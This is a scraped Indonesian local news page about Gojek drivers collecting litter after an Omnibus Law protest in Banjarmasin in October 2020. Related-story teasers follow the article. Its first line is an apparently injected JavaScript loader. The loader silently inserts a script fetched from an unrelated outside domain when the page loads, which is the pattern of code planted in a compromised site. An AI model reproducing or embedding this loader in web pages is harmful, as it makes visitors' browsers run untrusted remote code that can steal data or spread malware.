(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemandangan unik terjadi pasca aksi demonstrasi penolakan UU Omnibus Law Cipta Kerja di Gedung DPRD Provinsi Kalsel di Jalan Lambung Mangkurat, Banjarmasin pada Kamis (22/10/2020) siang.
Sejumlah driver ojek online (ojol) yang tergabung dalam Komunitas Driver Gojek di Kota Banjarmasin ini melakukan aksi pemungutan sampah yang berserakan, usai aksi demonstrasi yang diikuti oleh ribuan buruh yang tergabung dalam Aliansi Pekerja Buruh Banua Kalsel ini.
Ketua Satgas Gojek Banjarmasin Muhammad Rizkan
mengatakan, aksi bersih-bersih dengan memungut sampah. Seperti halnya semut mengambil sisa makanan, itulah yang dilakukan Komunitas Gojek itu.
“Usai demo berakhir, kita langsung memungut sampah sisa para pedemo. Dan ini kita lakukan atas dasar inisiatif kita sendiri,” kata Rizkan.
Menurutnya, upaya tersebut dilakukan agar Kota Banjarmasin bisa tetap bersih dan nyaman bagi warganya.
“Sesuai dengan motto kota kita, yakni barasih wan nyaman. Karena kebersihan kota merupakan gambaran dari penduduknya,” tambah Rizkan.
Ia mengaku, bahwa aksi operasi semut tersebut tak hanya sekali ini dilakukan. Aksi bersih-bersih ini sudah sering di lakukannya bersama kawan kawan Driver Gojek yang sering mangkal di kawasan tersebut.
“Setiap kali demo berakhir, 5 sampai 6 driver yang biasa mangkal sekitar kawasan sini pasti ikut bersih-bersih,” imbuhnya.
Ia menjelaskan, aksi bersih bersih tersebut dimulainya dari bundaran ujung Jalan Lambung Mangkurat hingga depan kantor DPRD Provinsi Kalsel.
“Sampah yang dikumpulkan ini akan kita serahkan kepada petugas dari dinas kebersihan atau tempat pembuangan sampah terdekat,” pungkasnya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin membacakan putusan kasus korupsi kredit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More
This website uses cookies.